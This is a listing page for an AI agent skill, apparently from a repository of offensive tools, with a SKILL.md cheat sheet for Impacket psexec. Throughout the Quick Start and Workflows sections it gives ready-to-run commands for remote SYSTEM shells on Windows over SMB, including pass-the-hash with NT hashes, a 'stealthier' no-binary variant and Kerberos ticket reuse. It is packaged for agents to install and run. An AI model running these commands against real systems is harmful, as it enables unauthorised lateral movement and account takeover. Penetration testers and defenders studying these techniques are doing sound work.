aeondave/malskill/psexec

Name: psexec
Author: aeondave

Claude Code and agent skill by aeondave/malskill

Trust tier 3

community

Source check pending

Checking that the SKILL.md file is still in the repository.

Auth/lab ref: Impacket psexec for remote SYSTEM-level shell execution on Windows hosts via SMB.

Install

npx vskill@latest install aeondave/malskill/psexec

SKILL.md

psexec (impacket)

Remote SYSTEM shell via SMB — part of the impacket suite. Creates a service, uploads a remote shell binary to ADMIN$, and executes it.

Quick Start

bash

# Password auth
impacket-psexec domain/user:password@192.168.1.10
 
# Pass-the-hash
impacket-psexec administrator@192.168.1.10 -hashes :8846f7eaee8fb117ad06bdd830b7586c
 
# Local account
impacket-psexec WORKGROUP/administrator:password@192.168.1.10

Core Flags

Flag	Description
`domain/user:pass@target`	Standard auth string
`-hashes <LM:NT>`	Pass-the-hash (use `:NT` for NT only)
`-no-pass`	No password (for null sessions)
`-k`	Kerberos auth
`-dc-ip <ip>`	Domain controller IP
`-port <n>`	Custom SMB port
`-service-name <n>`	Custom service name (default random)
`-remote-binary-name <n>`	Custom remote binary name
`-shell-type <type>`	Shell type: `cmd` or `powershell`
`-codec <enc>`	Output encoding (default auto-detect)

Impacket Execution Alternatives

Tool	Method	Notes
`psexec.py`	Service + ADMIN$ binary	SYSTEM shell; noisy (creates service)
`smbexec.py`	Service + cmd.exe	No binary drop; semi-interactive
`wmiexec.py`	WMI + cmd.exe	Semi-interactive; no service created
`atexec.py`	Task Scheduler	Single command; no interactive shell
`dcomexec.py`	DCOM	Multiple DCOM object options

Common Workflows

bash

# Get SYSTEM shell with credentials
impacket-psexec corp.local/admin:Password123@10.10.10.10
 
# Pass-the-hash (no LM needed for modern Windows)
impacket-psexec -hashes :f6f38b793db6a78dc379eee9e56b8c91 administrator@10.10.10.10
 
# PowerShell shell
impacket-psexec admin:pass@10.10.10.10 -shell-type powershell
 
# Execute single command (use wmiexec for non-interactive)
impacket-wmiexec admin:pass@10.10.10.10 "net user"
 
# Stealthier: smbexec (no binary to disk)
impacket-smbexec admin:pass@10.10.10.10
 
# Kerberos auth (with CCACHE)
export KRB5CCNAME=/tmp/admin.ccache
impacket-psexec -k -no-pass corp.local/admin@dc.corp.local

Resources

File	When to load
`references/impacket-suite.md`	Full impacket tool reference, secretsdump, GetUserSPNs, ticketing attacks

Structuring This Skill

Security

Security scanPassed, 90 of 100Pattern checks on the skill's files.
Model reviewPassed

See the full security report

Quality evaluation

Task evaluationNot runNo evaluation yet. Run one in Skill Studio.

See evaluation results

Source

SKILL.md in the repositoryCheckingoffensive-tools/windows/psexec/SKILL.md

Popularity

Repository stars: 22
Repository forks: 1
7-day trend score: 21

Stars and forks are for the whole GitHub repository, not this skill alone. Not refreshed yet.

Works with

Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.

Claude Code
Cursor
GitHub Copilot
Windsurf
Codex
Gemini CLI
Cline
Amp
Roo Code
Goose
Continue
Kilo Code
Junie
Trae
OpenHands
Qwen Code
AI Agent
Tabnine Chat
Sourcegraph Cody
Amazon Q
Firebase Genkit
Sweep
Devin
Phind
Mentat
Claude Desktop
Aider
GPT Pilot
Plandex
bolt.new
v0
Replit Agent
Anse
TypingMind
BetterChatGPT
LibreChat
Warp AI
Pieces
Fig AI

Embed badge

[![vskill VERIFIED](https://verified-skill.com/api/v1/skills/aeondave/malskill/psexec/badge)](https://verified-skill.com/skills/aeondave/malskill/psexec)

Something wrong with this skill or its page? Tell us.